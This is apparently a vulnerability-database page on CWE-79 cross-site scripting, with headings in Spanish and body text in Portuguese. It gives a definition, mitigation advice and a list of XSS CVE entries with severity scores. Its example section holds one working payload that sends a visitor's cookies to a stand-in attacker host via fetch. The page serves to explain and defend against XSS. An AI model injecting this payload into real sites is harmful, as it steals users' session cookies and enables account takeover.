Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-36372MEDIUMIn JetBrains TeamCity before 2023.05.6 reflected XSS on the subscriptions page was possibleEPSS 0.3%CVE-2026-25500MEDIUMRack's Stored XSS in Rack::Directory via javascript: filenames rendered into anchor hrefEPSS 0.3%CVE-2026-102626HIGHLimeSurvey Community Edition 7.4.0 - Stored XSS through the Date/Time date_min question attributeEPSS 0.3%CVE-2025-29011MEDIUMWordPress YouTube Simple Gallery plugin <= 2.2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-47786LOWEmlog vulnerable to Stored Cross-site ScriptingEPSS 0.3%CVE-2025-9119MEDIUMNetis WF2419 Wireless Settings index.htm cross site scriptingEPSS 0.3%CVE-2025-31591MEDIUMWordPress Exit Popup Free plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-50952MEDIUMBanco Guayaquil 8.0.0 Mobile iOS Cross-Site Scripting via Profile Name InputEPSS 0.3%CVE-2024-36367MEDIUMIn JetBrains TeamCity before 2022.04.7, 2022.10.6, 2023.05.6, 2023.11.5 stored XSS via third-party reports was possibleEPSS 0.3%CVE-2025-25988MEDIUMCross Site Scripting vulnerability in hooskcms v.1.8 allows a remote attacker to cause a denial of service via the custom Link title parametEPSS 0.3%CVE-2026-5341MEDIUMNMR Strava activities <= 1.0.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-63842MEDIUMA Cross-Site Scripting (XSS) vulnerability in the web backend for the Repetico app 1.9.7.31 for Android allows a remote authenticated user tEPSS 0.3%CVE-2024-50468MEDIUMWordPress Raptor Editor plugin <= 1.0.20 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-47834MEDIUMSchlix CMS 2.2.6-6 - 'title' Persistent Cross-Site Scripting (Authenticated)EPSS 0.3%CVE-2024-51572MEDIUMWordPress LH QR Codes plugin <= 1.06 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2012-20004MEDIUMK-news WordPress Plugin < 1.1.1 Reflected XSS via fontpicker index.php ff ParameterEPSS 0.3%CVE-2026-116097MEDIUMCloudClassroom-PHP-Project addnewstudent.php cross site scriptingEPSS 0.3%CVE-2025-49242MEDIUMWordPress Bellows Accordion Menu plugin <= 1.4.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-49244MEDIUMWordPress Shortcodes Ultimate plugin <= 7.3.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-48237MEDIUMWordPress Wishlist for WooCommerce plugin <= 3.2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%